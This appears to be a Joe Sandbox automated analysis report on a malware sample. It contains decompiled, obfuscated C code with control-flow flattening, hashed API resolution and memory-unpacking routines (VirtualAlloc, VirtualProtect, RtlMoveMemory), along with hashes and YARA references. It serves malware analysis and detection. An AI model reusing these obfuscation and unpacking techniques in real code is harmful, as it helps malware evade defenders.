Opcode ID: c50b1a2b93cead8f4d431e62b9edd3d7ff6e9db05a4af898b702fd658b9a6f35
Instruction ID: 802691ff0c9f084e0e2c9702adccd3e49d37df9724f2800f2ca4868b70aff2d7
Opcode Fuzzy Hash: c50b1a2b93cead8f4d431e62b9edd3d7ff6e9db05a4af898b702fd658b9a6f35
Instruction Fuzzy Hash: B221F1307103021BEB14EF7ADC51BFB3BA6ABD0B84F00852DB654CB2A1FA70D9208B41

Uniqueness

Uniqueness Score: -1.00%

Function 002B30A0, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 165
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 71%

			E002B30A0() {
				void* __ebx;
				void* __ecx;
				void* __ebp;
				void* _t61;
				intOrPtr* _t62;
				void* _t65;
				intOrPtr _t93;
				intOrPtr* _t95;
				intOrPtr _t107;
				intOrPtr* _t116;
				void* _t127;
				void* _t128;
				intOrPtr _t129;
				signed int _t134;
				void* _t135;
				void* _t136;

				_t93 =  *((intOrPtr*)(_t135 + 0xc));
				_t61 = 0x11f367c2;
				_t134 =  *(_t135 + 0x10);
				_t129 =  *((intOrPtr*)(_t135 + 0x14));
				_t127 =  *(_t135 + 0x18);
				while(1) {
					L1:
					do {
						while(1) {
							L2:
							_t136 = _t61 - 0x12466c01;
							if(_t136 > 0) {
								break;
							}
							if(_t136 == 0) {
								if(_t93 !=  *(_t135 + 0x18)) {
									L29:
									return 1;
								} else {
									_t61 = 0x2f21cdd2;
									continue;
								}
							} else {
								if(_t61 == 0x7a26146) {
									_t61 =  ==  ? 0x2f21cdd2 : 0x12466c01;
									continue;
								} else {
									if(_t61 == 0x8928514) {
										_t95 =  *0x2be1cc;
										if(_t95 == 0) {
											_t95 = E002B3E60(_t93, E002B3F00(0x55ab7d30), 0x815a9da3, _t134);
											 *0x2be1cc = _t95;
										}
										_t129 =  *_t95(_t134 + 0x2c);
										_t61 = 0x39d78901;
										while(1) {
											L1:
											goto L2;
										}
									} else {
										if(_t61 != 0x11f367c2) {
											goto L18;
										} else {
											 *(_t135 + 0x18) = 0x2e7c;
											 *(_t135 + 0x18) = 0x3e0f83e1 *  *(_t135 + 0x18) >> 0x20 >> 4;
											 *(_t135 + 0x18) =  *(_t135 + 0x18) >> 7;
											 *(_t135 + 0x18) = 0x2f149903 *  *(_t135 + 0x18) >> 0x20 >> 4;
											 *(_t135 + 0x18) =  *(_t135 + 0x18) + 0xffff1475;
											 *(_t135 + 0x18) =  *(_t135 + 0x18) * 0x15;
											 *(_t135 + 0x18) =  *(_t135 + 0x18) >> 2;
											 *(_t135 + 0x18) = 0x22b63cbf *  *(_t135 + 0x18) >> 0x20 >> 4;
											 *(_t135 + 0x18) =  *(_t135 + 0x18) ^ 0x8ee7705c;
											 *(_t135 + 0x10) = 0xa461;
											 *(_t135 + 0x10) =  *(_t135 + 0x10) << 0xe;
											 *(_t135 + 0x10) =  *(_t135 + 0x10) * 8 -  *(_t135 + 0x10) << 2;
											_t61 = 0x8928514;
											 *(_t135 + 0x10) = 0x51eb851f *  *(_t135 + 0x10) >> 0x20 >> 3;
											 *(_t135 + 0x10) =  *(_t135 + 0x10) + 0xffffb6ab;
											 *(_t135 + 0x10) =  *(_t135 + 0x10) ^ 0x88f30986;
											while(1) {
												L1:
												goto L2;
											}
										}
									}
								}
							}
							L30:
						}
						if(_t61 == 0x2f21cdd2) {
							_t62 =  *0x2be494;
							if(_t62 == 0) {
								_t62 = E002B3E60(_t93, E002B3F00(0x9bab0b12), 0x7facde30, _t134);
								 *0x2be494 = _t62;
							}
							_t128 =  *_t62();
							if( *0x2bdd18 == 0) {
								 *0x2bdd18 = E002B3E60(_t93, E002B3F00(0x9bab0b12), 0x9ff0609c, _t134);
							}
							_t65 = RtlAllocateHeap(_t128, 8, 0x24c); // executed
							_t127 = _t65;
							if(_t127 == 0) {
								goto L29;
							} else {
								_t61 = 0x35eaa088;
								goto L1;
							}
						} else {
							if(_t61 == 0x35eaa088) {
								_t116 =  *0x2be43c;
								if(_t116 == 0) {
									_t116 = E002B3E60(_t93, E002B3F00(0x9bab0b12), 0x2df4d385, _t134);
									 *0x2be43c = _t116;
								}
								 *_t116(_t127 + 0x3c, _t134 + 0x2c, (_t129 - _t134 - 0x2c >> 1) + 1);
								_t107 =  *((intOrPtr*)(_t135 + 0x1c));
								 *(_t127 + 0x2c) =  *(_t107 + 0x1c);
								 *((intOrPtr*)(_t107 + 0xc)) =  *((intOrPtr*)(_t107 + 0xc)) + 1;
								 *(_t107 + 0x1c) = _t127;
								goto L29;
							} else {
								if(_t61 != 0x39d78901) {
									goto L18;
								} else {
									_t93 = E002B3D00(_t129);
									_t61 = 0x7a26146;
									while(1) {
										L1:
										goto L2;
									}
								}
							}
						}
						goto L30;
						L18:
					} while (_t61 != 0x100ad7b4);
					return 1;
					goto L30;
				}
			}

0x002b30a2
0x002b30a6
0x002b30ac
0x002b30b1
0x002b30b6
0x002b30ba
0x002b30ba
0x002b30c0
0x002b30c0
0x002b30c0
0x002b30c0
0x002b30c5
0x00000000
0x00000000
0x002b30cb
0x002b31f1
0x002b32f9
0x002b3300
0x002b31f7
0x002b31f7
0x00000000
0x002b31f7
0x002b30d1
0x002b30d6
0x002b31e5
0x00000000
0x002b30dc
0x002b30e1
0x002b31a0
0x002b31a8
0x002b31c0
0x002b31c2
0x002b31c2
0x002b31ce
0x002b31d0
0x002b30ba
0x002b30ba
0x00000000
0x002b30ba
0x002b30e7
0x002b30ec
0x00000000
0x002b30f2
0x002b30f2
0x002b310d
0x002b3111
0x002b311f
0x002b3123
0x002b3130
0x002b3139
0x002b3147
0x002b314b
0x002b3153
0x002b315b
0x002b3175
0x002b317f
0x002b3187
0x002b318b
0x002b3193
0x002b30ba
0x002b30ba
0x00000000
0x002b30ba
0x002b30ba
0x002b30ec
0x002b30e1
0x002b30d6
0x00000000
0x002b30cb
0x002b3206
0x002b3245
0x002b324c
0x002b325f
0x002b3264
0x002b3264
0x002b326b
0x002b3274
0x002b328c
0x002b328c
0x002b3299
0x002b329b
0x002b329f
0x00000000
0x002b32a1
0x002b32a1
0x00000000
0x002b32a1
0x002b3208
0x002b320d
0x002b32ab
0x002b32b3
0x002b32cb
0x002b32cd
0x002b32cd
0x002b32e4
0x002b32e6
0x002b32ed
0x002b32f0
0x002b32f3
0x00000000
0x002b3213
0x002b3218
0x00000000
0x002b321a
0x002b3221
0x002b3223
0x002b30ba
0x002b30ba
0x00000000
0x002b30ba
0x002b30ba
0x002b3218
0x002b320d
0x00000000
0x002b322d
0x002b322d
0x002b3242
0x00000000
0x002b3242

APIs

RtlAllocateHeap.NTDLL(00000000,00000008,0000024C), ref: 002B3299

Strings

|., xrefs: 002B30F2

Memory Dump Source

Source File: 0000000B.00000002.2275531038.00000000002B1000.00000020.00000001.sdmp, Offset: 002B0000, based on PE: true

Associated: 0000000B.00000002.2275502828.00000000002B0000.00000004.00000001.sdmp Download File
Associated: 0000000B.00000002.2275638046.00000000002BD000.00000004.00000001.sdmp Download File
Associated: 0000000B.00000002.2275727314.00000000002BF000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2b0000_NlsData0414.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID: |.
API String ID: 1279760036-512043466
Opcode ID: c2dd14830fb8ee3c3bcf83625f9775e74740e1ba9335b7b6a56542b70b0e9169
Instruction ID: da8e562e00d438afc7d3a9cee7465bb9da0bdb79b3ce8dd49811deab2556264b
Opcode Fuzzy Hash: c2dd14830fb8ee3c3bcf83625f9775e74740e1ba9335b7b6a56542b70b0e9169
Instruction Fuzzy Hash: 6E51B3717283028BCB18DF6C94845AE7BE6EBD4384F20491EF451CB351DB71DE598B92

Uniqueness

Uniqueness Score: -1.00%

Function 002A0580, Relevance: 3.1, APIs: 2, Instructions: 127
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 002A0FB0: RtlMoveMemory.NTDLL(00000000,?,00000040), ref: 002A0F08
Part of subcall function 002A0FB0: RtlMoveMemory.NTDLL(00000000,?,000000F8), ref: 002A0F3E
Part of subcall function 002A0FB0: RtlMoveMemory.NTDLL(00000000,00000000,000000F8), ref: 002A0F7F

RtlMoveMemory.NTDLL(00000000,-00000018,00000028), ref: 002A061B
VirtualProtect.KERNEL32(00000000,-00000018,?,00000000,00000000,00000000,-00000018,00000028,?,?,?,00000000,00000000,?,00000000), ref: 002A069C

Memory Dump Source

Source File: 0000000B.00000002.2275450114.00000000002A0000.00000040.00000001.sdmp, Offset: 002A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2a0000_NlsData0414.jbxd

Similarity

API ID: MemoryMove$ProtectVirtual
String ID:
API String ID: 4043890290-0
Opcode ID: b94b9ae67b6adb9e0137934aeccaac81b37d054c99ee4087dee3bfd6cde587a0
Instruction ID: 52f8e1f765f27da408a9d8c41f945c59c3bbfe65e4da4f93cb424fa442033259
Opcode Fuzzy Hash: b94b9ae67b6adb9e0137934aeccaac81b37d054c99ee4087dee3bfd6cde587a0
Instruction Fuzzy Hash: C13137B367430257E3249A65DCC5BEBA3C8D7D3B58F08043AF905C2240D92ED474C665

Uniqueness

Uniqueness Score: -1.00%

Function 002B5CE0, Relevance: 3.0, APIs: 2, Instructions: 13
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			_entry_() {
				void* _t5;
				void* _t9;

				E002B65E0();
				if( *0x2bddb8 == 0) {
					 *0x2bddb8 = E002B3E60(_t5, E002B3F00(0x9bab0b12), 0x89f3d704, _t9);
				}
				ExitProcess(0);
			}

0x002b5ce0
0x002b5cec
0x002b5d04
0x002b5d04
0x002b5d0b

APIs

ExitProcess.KERNELBASE(00000000), ref: 002B5D0B

Memory Dump Source

Source File: 0000000B.00000002.2275531038.00000000002B1000.00000020.00000001.sdmp, Offset: 002B0000, based on PE: true

Associated: 0000000B.00000002.2275502828.00000000002B0000.00000004.00000001.sdmp Download File
Associated: 0000000B.00000002.2275638046.00000000002BD000.00000004.00000001.sdmp Download File
Associated: 0000000B.00000002.2275727314.00000000002BF000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2b0000_NlsData0414.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 907e43d137e57ad1b770a1f3fb88c1e690b60d6fc813df40fe5ac4449af34197
Instruction ID: 5ac66e62420f898e48a52253eda5aba40b11ba7ab41e909bf056437e04b18390
Opcode Fuzzy Hash: 907e43d137e57ad1b770a1f3fb88c1e690b60d6fc813df40fe5ac4449af34197
Instruction Fuzzy Hash: 02D0C92172421646DA58ABB568597EA259A8FA0788F104119E051CB296FE34C930AB60

Uniqueness

Uniqueness Score: -1.00%

Function 002A0AD0, Relevance: 2.7, APIs: 2, Instructions: 175
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 002A0FB0: RtlMoveMemory.NTDLL(00000000,?,00000040), ref: 002A0F08
Part of subcall function 002A0FB0: RtlMoveMemory.NTDLL(00000000,?,000000F8), ref: 002A0F3E
Part of subcall function 002A0FB0: RtlMoveMemory.NTDLL(00000000,00000000,000000F8), ref: 002A0F7F

VirtualAlloc.KERNEL32(?,?,00000000), ref: 002A0BFF

Memory Dump Source

Source File: 0000000B.00000002.2275450114.00000000002A0000.00000040.00000001.sdmp, Offset: 002A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2a0000_NlsData0414.jbxd

Similarity

API ID: MemoryMove$AllocVirtual
String ID:
API String ID: 1654584625-0
Opcode ID: 33a83c292423e0fbe2e532dbc4518730eee9e5d53c86213deb289c7390d0b434
Instruction ID: dd2a57435a77e24343d883cdef0639341ddf099e81b5ad2777de78dbb8c8c5e8
Opcode Fuzzy Hash: 33a83c292423e0fbe2e532dbc4518730eee9e5d53c86213deb289c7390d0b434
Instruction Fuzzy Hash: 78511370A40218ABDB208F54CE86FEAB7B8EF55701F004095FA08B7190DBB89D85CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 002B80A0, Relevance: 1.7, APIs: 1, Instructions: 219
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 66%

			E002B80A0(signed int __edx) {
				short _v524;
				struct _SECURITY_ATTRIBUTES* _v532;
				intOrPtr _v536;
				intOrPtr _v540;
				intOrPtr _v544;
				intOrPtr _v548;
				intOrPtr _v552;
				intOrPtr _v556;
				intOrPtr _v560;
				char _v564;
				intOrPtr _v568;
				char _v572;
				struct _SECURITY_ATTRIBUTES* _v576;
				intOrPtr _v580;
				signed int _v584;
				signed int _v588;
				signed int _v592;
				signed int _v596;
				void* __ebx;
				void* __ebp;
				void* _t58;
				void* _t64;
				void* _t66;
				intOrPtr* _t68;
				void* _t72;
				intOrPtr* _t77;
				intOrPtr* _t79;
				void* _t81;
				void* _t82;
				intOrPtr* _t85;
				void* _t87;
				intOrPtr _t88;
				intOrPtr* _t89;
				void* _t91;
				void* _t95;
				intOrPtr _t100;
				char _t104;
				signed int _t121;
				void* _t124;
				void* _t126;
				void* _t127;
				signed int* _t128;
				void* _t130;

				_t121 = __edx;
				_t128 =  &_v596;
				_v584 = 0x9318;
				_t58 = 0x343bfd89;
				_v584 = _v584 ^ 0xde90c338;
				_v584 = _v584 ^ 0xde905120;
				_v596 = 0x7d19;
				_v596 = _v596 << 9;
				_v596 = _v596 >> 0xe;
				_v596 = _v596 + 0xffff07e5;
				_v596 = _v596 | 0x8aea6eef;
				_v596 = _v596 + 0xd867;
				_v596 = _v596 + 0x9c41;
				_v596 = _v596 + 0x3de0;
				_v596 = _v596 + 0x218b;
				_v596 = _v596 ^ 0x00014403;
				_v592 = 0x2591;
				_t127 = _v584;
				_t95 = 0;
				_v592 = _v592 * 0x7d;
				_v592 = _v592 + 0x8d68;
				_v592 = _v592 + 0xffff8911;
				_v592 = _v592 * 0x6a;
				_v592 = _v592 + 0xffff93d5;
				_v592 = _v592 ^ 0x07a13cd2;
				_v588 = 0x789;
				_v588 = _v588 >> 1;
				_v588 = _v588 ^ 0xaee58af2;
				_v588 = _v588 ^ 0xaee58936;
				while(1) {
					L1:
					goto L2;
					do {
						while(1) {
							L2:
							_t130 = _t58 - 0xea5411f;
							if(_t130 > 0) {
								break;
							}
							if(_t130 == 0) {
								_t72 = E002B34C0(0x2bd970);
								_t121 =  *0x2be158;
								_t126 = _t72;
								if(_t121 == 0) {
									_t121 = E002B3E60(_t95, E002B3F00(0xc6fbcd74), 0xba71dd03, _t127);
									 *0x2be158 = _t121;
								}
								_t100 =  *0x2be54c; // 0x5be1f8
								_t50 = _t100 + 0x260; // 0x5be458
								_t51 = _t100 + 0x18; // 0x5be210
								 *_t121( &_v524, 0x104, _t126, _t51, _t50);
								_t77 =  *0x2be494;
								_t128 =  &(_t128[5]);
								if(_t77 == 0) {
									_t82 = E002B3F00(0x9bab0b12);
									_t121 = 0x7facde30;
									_t77 = E002B3E60(_t95, _t82, 0x7facde30, _t127);
									 *0x2be494 = _t77;
								}
								_t124 =  *_t77();
								_t79 =  *0x2bdf30;
								if(_t79 == 0) {
									_t81 = E002B3F00(0x9bab0b12);
									_t121 = 0x5010a54d;
									_t79 = E002B3E60(_t95, _t81, 0x5010a54d, _t127);
									 *0x2bdf30 = _t79;
								}
								 *_t79(_t124, 0, _t126);
								_t58 = 0x2c2d24c8;
								goto L1;
							} else {
								if(_t58 == 0x2f64d8b) {
									_t85 =  *0x2be1d4;
									if(_t85 == 0) {
										_t87 = E002B3F00(0x9bab0b12);
										_t121 = 0xa229df38;
										_t85 = E002B3E60(_t95, _t87, 0xa229df38, _t127);
										 *0x2be1d4 = _t85;
									}
									 *_t85( &_v572);
									_t58 = 0xc5e088d;
									continue;
								} else {
									if(_t58 == 0x6f65414) {
										_t88 = _v568;
										_t104 = _v572;
										_v560 = _t88;
										_v552 = _t88;
										_v544 = _t88;
										_v536 = _t88;
										_t89 =  *0x2bdee4;
										_v564 = _t104;
										_v556 = _t104;
										_v548 = _t104;
										_v540 = _t104;
										_v532 = 0;
										if(_t89 == 0) {
											_t91 = E002B3F00(0x9bab0b12);
											_t121 = 0x4bf45878;
											_t89 = E002B3E60(_t95, _t91, 0x4bf45878, _t127);
											 *0x2bdee4 = _t89;
										}
										 *_t89(_t127, 0,  &_v564, 0x28);
										_t58 = 0x3557bd8c;
										_t95 =  !=  ? 1 : _t95;
										continue;
									} else {
										if(_t58 != 0xc5e088d) {
											goto L24;
										} else {
											_v580 = 0xa8c00;
											_v576 = 0;
											_v596 = E002BB6E0(_v580, _v576, 0x989680, 0);
											_v592 = _t121;
											_v588 = _v588 - _v596;
											_t58 = 0xea5411f;
											asm("sbb [esp+0x2c], ecx");
											continue;
										}
									}
								}
							}
							L35:
						}
						if(_t58 == 0x2c2d24c8) {
							if( *0x2bde04 == 0) {
								_t66 = E002B3F00(0x9bab0b12);
								_t121 = 0xb66d748a;
								 *0x2bde04 = E002B3E60(_t95, _t66, 0xb66d748a, _t127);
							}
							_t64 = CreateFileW( &_v524, _v584, _v596, 0, _v592, _v588, 0); // executed
							_t127 = _t64;
							if(_t127 == 0xffffffff) {
								goto L34;
							} else {
								_t58 = 0x6f65414;
								goto L2;
							}
						} else {
							if(_t58 == 0x343bfd89) {
								_t58 = 0x2f64d8b;
								goto L2;
							} else {
								if(_t58 == 0x3557bd8c) {
									_t68 =  *0x2bde3c;
									if(_t68 == 0) {
										_t68 = E002B3E60(_t95, E002B3F00(0x9bab0b12), 0x20de7595, _t127);
										 *0x2bde3c = _t68;
									}
									 *_t68(_t127);
									L34:
									return _t95;
								} else {
									goto L24;
								}
							}
						}
						goto L35;
						L24:
					} while (_t58 != 0xcfe8e);
					return _t95;
					goto L35;
				}
			}

0x002b80a0
0x002b80a0
0x002b80a6
0x002b80ae
0x002b80b3
0x002b80bb
0x002b80c3
0x002b80ca
0x002b80ce
0x002b80d2
0x002b80d9
0x002b80e0
0x002b80e7
0x002b80ee
0x002b80f5
0x002b80fc
0x002b8103
0x002b8112
0x002b8116
0x002b8119
0x002b811d
0x002b8125
0x002b8133
0x002b8137
0x002b813f
0x002b8147
0x002b814f
0x002b8153
0x002b815b
0x002b8163
0x002b8163
0x002b8168
0x002b8170
0x002b8170
0x002b8170
0x002b8170
0x002b8175
0x00000000
0x00000000
0x002b817b
0x002b828c
0x002b8291
0x002b8297
0x002b829b
0x002b82b3
0x002b82b5
0x002b82b5
0x002b82bb
0x002b82c1
0x002b82c8
0x002b82d7
0x002b82d9
0x002b82de
0x002b82e3
0x002b82ea
0x002b82ef
0x002b82f6
0x002b82fb
0x002b82fb
0x002b8302
0x002b8304
0x002b830b
0x002b8312
0x002b8317
0x002b831e
0x002b8323
0x002b8323
0x002b832c
0x002b832e
0x00000000
0x002b8181
0x002b8186
0x002b8252
0x002b8259
0x002b8260
0x002b8265
0x002b826c
0x002b8271
0x002b8271
0x002b827b
0x002b827d
0x00000000
0x002b818c
0x002b8191
0x002b81e3
0x002b81e7
0x002b81eb
0x002b81ef
0x002b81f3
0x002b81f7
0x002b81fb
0x002b8200
0x002b8204
0x002b8208
0x002b820c
0x002b8210
0x002b821a
0x002b8221
0x002b8226
0x002b822d
0x002b8232
0x002b8232
0x002b8241
0x002b8245
0x002b824a
0x00000000
0x002b8193
0x002b8198
0x00000000
0x002b819e
0x002b81a0
0x002b81a8
0x002b81c4
0x002b81c8
0x002b81d4
0x002b81d8
0x002b81dd
0x00000000
0x002b81dd
0x002b8198
0x002b8191
0x002b8186
0x00000000
0x002b817b
0x002b833d
0x002b8377
0x002b837e
0x002b8383
0x002b8391
0x002b8391
0x002b83b4
0x002b83b6
0x002b83bb
0x00000000
0x002b83bd
0x002b83bd
0x00000000
0x002b83bd
0x002b833f
0x002b8344
0x002b8365
0x00000000
0x002b8346
0x002b834b
0x002b83c7
0x002b83ce
0x002b83e1
0x002b83e6
0x002b83e6
0x002b83ec
0x002b83f1
0x002b83fa
0x00000000
0x00000000
0x00000000
0x002b834b
0x002b8344
0x00000000
0x002b834d
0x002b834d
0x002b8364
0x00000000
0x002b8364

APIs

CreateFileW.KERNELBASE(?,?,?,00000000,?,?,00000000,?,3251FEFE,?,?), ref: 002B83B4

Memory Dump Source

Source File: 0000000B.00000002.2275531038.00000000002B1000.00000020.00000001.sdmp, Offset: 002B0000, based on PE: true

Associated: 0000000B.00000002.2275502828.00000000002B0000.00000004.00000001.sdmp Download File
Associated: 0000000B.00000002.2275638046.00000000002BD000.00000004.00000001.sdmp Download File
Associated: 0000000B.00000002.2275727314.00000000002BF000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2b0000_NlsData0414.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: bde53fb48a132d7b363c4a9eb7aed09f258c44f55a3a0fab698ecbf8401d50bf
Instruction ID: 6d1d9c9dc99b53f16146ddcd3d2a105fb6a26c796897cb14599d975d39589db7
Opcode Fuzzy Hash: bde53fb48a132d7b363c4a9eb7aed09f258c44f55a3a0fab698ecbf8401d50bf
Instruction Fuzzy Hash: F081CC70A283018FD718DF68D8946ABB7E9AB94788F00492EF589C7291EB74DD11CB52

Uniqueness

Uniqueness Score: -1.00%

Function 002B7080, Relevance: 1.5, APIs: 1, Instructions: 45
libraryCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E002B7080(void* __ebx, void* __ecx, signed int __edx, void* __eflags) {
				struct HINSTANCE__* _t6;
				intOrPtr* _t7;
				intOrPtr* _t9;
				intOrPtr _t17;
				signed int _t28;
				void* _t29;
				WCHAR* _t30;
				void* _t31;

				_t15 = __ebx;
				_t28 = __edx;
				_t30 = E002B34C0(__ecx);
				if( *0x2bdd1c == 0) {
					 *0x2bdd1c = E002B3E60(__ebx, E002B3F00(0x9bab0b12), 0xe4b28d97, _t31);
				}
				_t6 = LoadLibraryW(_t30);
				_t17 =  *0x2be548; // 0x5f7ed8
				 *(_t17 + 0x30 + _t28 * 4) = _t6;
				_t7 =  *0x2be494;
				if(_t7 == 0) {
					_t7 = E002B3E60(_t15, E002B3F00(0x9bab0b12), 0x7facde30, _t31);
					 *0x2be494 = _t7;
				}
				_t29 =  *_t7();
				_t9 =  *0x2bdf30;
				if(_t9 == 0) {
					_t9 = E002B3E60(_t15, E002B3F00(0x9bab0b12), 0x5010a54d, _t31);
					 *0x2bdf30 = _t9;
				}
				return  *_t9(_t29, 0, _t30);
			}

0x002b7080
0x002b7082
0x002b7089
0x002b7092
0x002b70aa
0x002b70aa
0x002b70b0
0x002b70b2
0x002b70b8
0x002b70bc
0x002b70c3
0x002b70d6
0x002b70db
0x002b70db
0x002b70e2
0x002b70e4
0x002b70eb
0x002b70fe
0x002b7103
0x002b7103
0x002b7110

APIs

LoadLibraryW.KERNEL32(00000000,?,3251FEFE,002B721D,002B68AC), ref: 002B70B0

Memory Dump Source

Source File: 0000000B.00000002.2275531038.00000000002B1000.00000020.00000001.sdmp, Offset: 002B0000, based on PE: true

Associated: 0000000B.00000002.2275502828.00000000002B0000.00000004.00000001.sdmp Download File
Associated: 0000000B.00000002.2275638046.00000000002BD000.00000004.00000001.sdmp Download File
Associated: 0000000B.00000002.2275727314.00000000002BF000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2b0000_NlsData0414.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 3136d635a4dac826b788cb637293627b95e58d02f1f90ac6824aba1d67827b8c
Instruction ID: 3ca2fdc5014f60e5439a28da2a21a9b498dd703f7020ea240181f26f7eeb77a3
Opcode Fuzzy Hash: 3136d635a4dac826b788cb637293627b95e58d02f1f90ac6824aba1d67827b8c
Instruction Fuzzy Hash: BC018F307342110B9B14EF79A8546FA2AABAFE07D8710452AE019DB216FA34DD218B90

Uniqueness

Uniqueness Score: -1.00%

Function 002A0170, Relevance: 1.4, APIs: 1, Instructions: 163COMMON

Download Yara Rule

APIs

Part of subcall function 002A0FB0: RtlMoveMemory.NTDLL(00000000,?,00000040), ref: 002A0F08
Part of subcall function 002A0FB0: RtlMoveMemory.NTDLL(00000000,?,000000F8), ref: 002A0F3E
Part of subcall function 002A0FB0: RtlMoveMemory.NTDLL(00000000,00000000,000000F8), ref: 002A0F7F

VirtualFree.KERNEL32(?,00000000,00008000,?,?,?,?,?,?,?,?), ref: 002A02F6

Memory Dump Source

Source File: 0000000B.00000002.2275450114.00000000002A0000.00000040.00000001.sdmp, Offset: 002A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2a0000_NlsData0414.jbxd

Similarity

API ID: MemoryMove$FreeVirtual
String ID:
API String ID: 223123264-0
Opcode ID: f2e981a9179681ccb7f8c3dcf060b14378d00665a4bf2a35893dbab2a67e5d97
Instruction ID: 0d473b8d8cdb3586a8a300671cc5b905f1d5941b0bc9f44fdc4ef40eb1809c5d
Opcode Fuzzy Hash: f2e981a9179681ccb7f8c3dcf060b14378d00665a4bf2a35893dbab2a67e5d97
Instruction Fuzzy Hash: D35139B1910268EBDB20EF64DD84BDEB778EF89700F0045DAE509B7250DB746A85CFA4

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 002A0010, Relevance: 12.6, Strings: 10, Instructions: 98COMMON

Download Yara Rule

Strings

Eight, xrefs: 002A00B3
One, xrefs: 002A005B
Nine, xrefs: 002A00C0
Five, xrefs: 002A008C
Four, xrefs: 002A007F
Seven, xrefs: 002A00A6
Ten, xrefs: 002A00CD
Two, xrefs: 002A0065
Six, xrefs: 002A0099
Three, xrefs: 002A0072

Memory Dump Source

Source File: 0000000B.00000002.2275450114.00000000002A0000.00000040.00000001.sdmp, Offset: 002A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2a0000_NlsData0414.jbxd

Similarity

API ID:
String ID: Eight$Five$Four$Nine$One$Seven$Six$Ten$Three$Two
API String ID: 0-211638553
Opcode ID: 8cc000d8363efb3f459e751a077807d67fb32520a221421634b6d1961bee58a5
Instruction ID: aab6d02d08a449c4ae51ee4df0ec47e2fb455a139ccf11bd20e5884bc64a6daa
Opcode Fuzzy Hash: 8cc000d8363efb3f459e751a077807d67fb32520a221421634b6d1961bee58a5
Instruction Fuzzy Hash: 16313D78E511289BCB04DB98CD80AEDBBB5FF5C340B508027D506737A4DB789986CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 002A06F0, Relevance: 9.2, APIs: 6, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2275450114.00000000002A0000.00000040.00000001.sdmp, Offset: 002A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2a0000_NlsData0414.jbxd

Similarity

API ID: MemoryMove
String ID:
API String ID: 1951056069-0
Opcode ID: 0f97f71410d1e41c89ff792c719ec0644fea615ab81a24e4e49035ac14860485
Instruction ID: 1659e77f6d5dd6c45b3990c4635430bd48d2df9fb7b6ce9363d19fcc7d482112
Opcode Fuzzy Hash: 0f97f71410d1e41c89ff792c719ec0644fea615ab81a24e4e49035ac14860485
Instruction Fuzzy Hash: 1051A7B1A243015FD720DF26C881B5BB3D89FD67A4F04452EF948E7241EA39D9348B96

Uniqueness

Uniqueness Score: -1.00%

Function 002A08F0, Relevance: 7.7, APIs: 5, Instructions: 158COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2275450114.00000000002A0000.00000040.00000001.sdmp, Offset: 002A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2a0000_NlsData0414.jbxd

Similarity

API ID: MemoryMove
String ID:
API String ID: 1951056069-0
Opcode ID: 8e3fd66f474281e81dfdc8038c3d39c61aa2314e82aa304560e84bd4efe8ca18
Instruction ID: b9692bd40909d17af691689a3bd7471df2335f7600a87481369afab99e82fa69
Opcode Fuzzy Hash: 8e3fd66f474281e81dfdc8038c3d39c61aa2314e82aa304560e84bd4efe8ca18
Instruction Fuzzy Hash: B4414AB56343025FC314DE69CC85BABB2D8ABC6B50F08883EF744D6241DA70D92887A5

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: mfc140.exe PID: 1664 Parent PID: 2364 mfc140.exeCOMMON

Execution Graph

Execution Coverage:	9.5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	1171
Total number of Limit Nodes:	13

Executed Functions

Function 002D0400, Relevance: 21.1, APIs: 14, Instructions: 132
memorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(00401010,00000000,?), ref: 002D0448

Part of subcall function 002D1140: lstrcpynW.KERNEL32(00000000,00000000,00000000,00000010,002D0EFD,00000000), ref: 002D1155

NtQueryInformationProcess.NTDLL(00000000,00000000,00000000,00000018,00401010), ref: 002D0463
GetProcessHeap.KERNEL32(?,00401010,00000000,?), ref: 002D0484
HeapFree.KERNEL32(00000000,00000001,00000000), ref: 002D048D
GetProcessHeap.KERNEL32(?,00401010,00000000,?), ref: 002D0492
RtlAllocateHeap.NTDLL(00000000,00000001,00401010), ref: 002D049F
GetCurrentProcess.KERNEL32(?,00401010,00000000,?), ref: 002D04A6
NtQueryInformationProcess.NTDLL(00000000,00000000,00000000,00401010,00401010), ref: 002D04B9
RtlMoveMemory.NTDLL(00000000,00000000,00000018), ref: 002D04E0
RtlMoveMemory.NTDLL(00000000,?,00000014), ref: 002D04F7
